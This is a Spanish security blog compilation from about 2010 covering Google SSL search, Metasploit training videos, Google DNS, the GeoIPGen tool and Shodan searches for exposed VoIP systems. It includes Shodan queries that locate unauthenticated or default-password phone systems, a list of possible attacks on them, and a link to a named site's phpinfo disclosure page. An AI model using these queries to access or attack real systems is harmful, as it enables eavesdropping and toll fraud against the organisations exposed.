Como seguro ya saben Google hace poco ha comenzado a ofrecer su servicio de busquedas encriptadas, usando tecnología SSL lo cual significa un salto en materia de privacidad, ya que encripta la información que el usuario ingresa en la caja de búsqueda y que viaja hacia los servidores de Google, en el caso de que esta información sea interceptada por alguien en nuestra misma red (sniffing) se encontrará con que está encriptada y será muy difícil que le sea de utilidad.

Para acceder a la busqueda segura de Google hay que entrar a https://www.google.com (fijense que comienza con https y no con http), y es posible que alguna vez nos equivoquemos y no usemos la s final, en este caso si queremos estar seguros que siempre entraremos al servidor seguro, podemos usar un script que ha sido desarrollado para tal efecto, el cual funciona en Firefox cuando tenemos instalada la extensión Greasemonkey (extensión que les recomiendo instalar ya que tiene multitud de usos), cuando Greasemonkey esta instalado de forma apropiada solo debemos entrar al sitio del script llamado Google Secure Pro, una vez allí solo hay que hacer click en Install:

Una vez instalado el script, hacemos click derecho sobre icono de Greasemonkey en la barra inferior a la derecha en Firefox y entramos al menu Administrar Scripts, vamos a donde dice Google Secure Pro en el panel de la izquierda y hacemos click en Añadir:


En la ventana que aparece escribimos: http://*.google.com/ y hacemos click en Aceptar


Este Script funciona redireccionando todos los servicios y aplicaciones de Google – incluído el buscador, email, etc. -, a la versión segura (https), no importa si entramos a la versión no encriptada (http).

Ojo, recuerden que por ahora el buscador seguro de Google solo esta disponible para la versión en inglés o internacional, por lo tanto este script funcionará bien siempre y cuando ingresemos a la versión en ingles (www.google.com)

 Fuente: http://www.infonucleo.com/

[infiernohacker.com] phpinfo() Information Disclosure


http://infiernohacker.com/images/p.php


Fuente: diosdelared.com

22/5/2010

Clases de Metasploit en video

¿Tienes 6 horas y más libres? ¿Te gusta el framework de exploiting por excelencia Metasploit? ¿Consideras que todavía te falta un poco de "rodaje" para conocerlo mucho más a fondo?

Hace un par de semanas tuvo lugar una jornada de aprendizaje exhaustiva de Metasploit Framework llevada a cabo por varios profesores: David Kennedy "Rel1k", autor entre otros del Social Engineering Toolkit (SET) del que os hablamos por aquí, Martin Bos "purehate" de Question Defense, Elliott Cutright "Nullthreat", Ken Neth "Pwrcycle" y Adrian Crenshaw "Irongeek", de sobra conocido por todos. La entrada era más o menos gratuíta. Digo más o menos porque únicamente se pedía una donación de por lo menos 10$ para la iniciativa de caridad Food For Work del "Hackers For Charity" de Johnny Long.

Justamente el último de los profesores, ha colocado en su web Irongeek (que deberías tener en los favoritos / rss /...) los enlaces a los videos de cada una de las charlas que formaron esta jornada, así como enlaces al material y las notas de la sección dada por el propio Adrian.

Para no ir uno por uno en los enlaces de descarga de los videos, o por si no tenéis un DownThemAll! a mano, podréis visitar el siguiente enlace de archive.org en el que encontraréis todo el material audiovisual de los cursos más algún video extra que otro, además de otros formatos de los videos (aunque los de mejor calidad son los .avi en este caso):
Cada profesor ha colgado su material en sus propias webs, pero a continuación, y totalmente gratis, los enlaces directos a cada conjunto de ficheros:

1 Metasploit Intro - Irongeek
2 Metasploit Scanning and Pivoting - Pwrcycle
3 Metasploit Fuzzing and Exploit Development - Nullthreat
4 Meterpreter and Post Exploitation (and a demo of Metasploit Express) - Purehate
El material de ReL1K (clases 5 Social Engineering Toolkit6 More Encoding Fun, Fasttrack) todavía no se ha colgado, pero seguramente cuando lo tenga, lo dejará en su web secManiac.com.

Añadimos por tanto este material al ya comentado curso de Metasploit-Unleashed.

 

Google public DNS

Google ha lanzado Google Public DNS, un nuevo servicio que permite a los usuarios de internet utilizar a Google como proveedor de servicios DNS.

Teóricamente al usar el servicio Google tendremos una conexión mucho más rápida, una experiencia de navegación mucho más estable y sobre todo, mucho más seguro en contra de todo tipo de programas maliciosos (virus, spyware, etc.)

Google Public DNS es la competencia directa al popular servicio OpenDNS, servicio que ha generado mucho dinero en los últimos años.(source)

Bien, parece que Google está preparando algo grande, siempre lanza servicios que ante los ojos de los mortales parecen ser simples servicios aislados.

Para usar Google Public DNS, ingresar las siguientes direcciones IP a nuestro DNS Server:

- IP DNS primario: 8.8.8.8
- IP DNS secundario: 8.8.4.4

Fuente: http://www.linux-os.com.ar/

[Geoipgen] Herramienta de red para la generación de IP’s Geo-Objetivos

GeoIPGen es una herramienta de red para la generación de IP’s Geo-Objetivos o de identificación de origen.

La herramienta funciona con base al hecho de que los ISP tienen determinadas IP’s a su control en cada país. La base de datos utilizada por la herramienta corresponde a la de Maxmind. La base de datos corresponde a un simple archivo CSV que es leído por la herramienta.

Veamos el proceso de configuración y uso:
root@bt:~/CHK/tools/geoipgen-0.4# ls
CHANGELOG  INSTALL  README  TODO  geoipgen  geoipgen.lsm
root@bt:~/CHK/tools/geoipgen-0.4# less INSTALL

root@bt:~/CHK/tools/geoipgen-0.4# wget http://www.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip
–2010-05-17 18:58:52–  http://www.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip
Resolving www.maxmind.com… 67.15.94.80
Connecting to www.maxmind.com|67.15.94.80|:80… connected.
HTTP request sent, awaiting response… 301 Moved Permanently
Location: http://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip [following]
–2010-05-17 18:58:52–  http://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip
Resolving geolite.maxmind.com… 64.246.48.99
Connecting to geolite.maxmind.com|64.246.48.99|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 1777882 (1.7M) [application/zip]
Saving to: `GeoIPCountryCSV.zip’

100%[======================================>] 1,777,882    310K/s   in 6.0s

2010-05-17 18:58:59 (289 KB/s) – `GeoIPCountryCSV.zip’ saved [1777882/1777882]

root@bt:~/CHK/tools/geoipgen-0.4# unzip GeoIPCountryCSV.zip
Archive:  GeoIPCountryCSV.zip
inflating: GeoIPCountryWhois.csv
root@bt:~/CHK/tools/geoipgen-0.4# mv GeoIPCountryWhois.csv /usr/local/share/ || ( mkdir $HOME/.geoipgen ; mv GeoIPCountryWhois.csv “$HOME/.geoipgen/”)

root@bt:~/CHK/tools/geoipgen-0.4# ./geoipgen -l |grep Colombia
CO      Colombia

root@bt:~/CHK/tools/geoipgen-0.4# ./geoipgen -n 10 CO
190.249.132.75
200.71.67.20
201.232.212.13
190.126.199.90
190.251.122.20
190.182.50.124
190.250.163.7
190.125.192.131
186.114.221.105
186.80.204.45

root@bt:~/CHK/tools/geoipgen-0.4# ./geoipgen -n 10 ES
85.49.39.104
88.3.33.50
83.46.243.85
83.59.59.181
81.32.128.146
95.39.198.21
81.43.162.41
79.156.155.124
77.208.3.231
95.60.138.155

Bastante efectiva la información… Podríamos complementar el uso de esta herramienta con la resolución de nombres de dominios de la herramienta DNSRecon.

Fuente: http://www.sec-track.com/

[Shodan] Ataques a telefonía VoIP

Si ayer vimos como jugar con Shodan para encontrar algunos sistemas de control, hoy vamos a ver cómo, con sencillas búsquedas, se puede encontrar mucha información sobre los sistemas de comunicación VoIP de las empresas en los que un atacante podría hacer infinitas diabluras.

Visualware MySpeed Server

Estos servidores de VoIP se encuentran fácilmente con Shodan, basta con ejecutar una consulta buscando el banner del servidor web que incorporan para descubrir, los que están dados de alta en la base de Shodan:

- http://www.shodanhq.com/?q=MySpeed+Server+VoIP

Lo realmente curioso de estos servidores es que acceder a la información del registro de llamadas no necesita credenciales. Sólo cuando se quiere entrar en la zona de administración se exige la introducción de credenciales.

Figura 1: Menú principal sin necesidad de credenciales

Para ver el registro de llamadas, es suficiente con hacer clic en la opción de Database Reports y elegir el periodo de tiempo.

Figura 2: Registro de llamadas público

Como se aprecia en la figura 2, hay bastante información sobre las comunicaciones de una organización sin ni tan siquiera tener que conocer un usuario y una contraseña.

Snon VoIP

Esta tecnología se usa para telefonos VoIP que si que exige usuario y contraseña. Sin embargo, muchos sistemas se encuentran configurados por defecto y es fácil que alguno esté con las típicas contraseñas que no deben ponerse nunca.

Figura 3: Panel de control de una centralita Snon

Como toda buen sistema de VoIP permite el acceso al registro de llamadas, a la realización de trazas SIP, a la actualización del firmware, la creación de cuentas o, incluso, a la captura de un fichero pcap para poder analizar mejor el tráfico.

El número de escenarios de ataque que se podrían realizar a estas centralitas acaba donde acabe la imaginación del atacante. Podría quedarse en el simple hackeo del mensaje de respuesta, como hicieron los atacantes seguidores del Chelsea con el sistema del Manchester United, o podrían revenderse minutos a empresas para llamadas, o capturar conversaciones, o…

Para encontrar este tipo de teléfonos con Shodan, se puede utilizar esta consulta:

- http://www.shodanhq.com/?q=snom+embedded

XAVi Analog Telephone Adaptor

En este caso estamos hablando de terminales de teléfono que son utilizados para la empresa. No están accesibles sin contraseña, pero sin embargo, muchos están con la configuración por defecto y a través de Internet.

Figura 4: Panel de control de un terminal

Por supuesto, se pueden acceder a las credenciales de autenticación del teléfono en el servidor VoIP, a la lista de mensajes grabados, a grabar un nuevo mensaje a redirigir las llamadas a través de otro servidor SIP, etcétera.

Lo más sorprendente es que una sencilla búsqueda en Shodan como ésta:

- http://www.shodanhq.com/?q=XG6525p2+XA+VoIP+Gateway

Devuelve más de 1.600 terminales expuestos en Internet.

Figura 5: Más de 1.600 terminales expuestos en Internet


Y lo que tú quieras

Por supuesto, una búsqueda genérica en Shodan con el término VoIP pone al descubierto un número ingente de terminales, centralitas, de todas las marcas y modelos.

Figura 6: Muchos nodos de comunicaciones VoIP en Shodan

¿Acojona o no acojona? A mí, sí.

Saludos Malignos!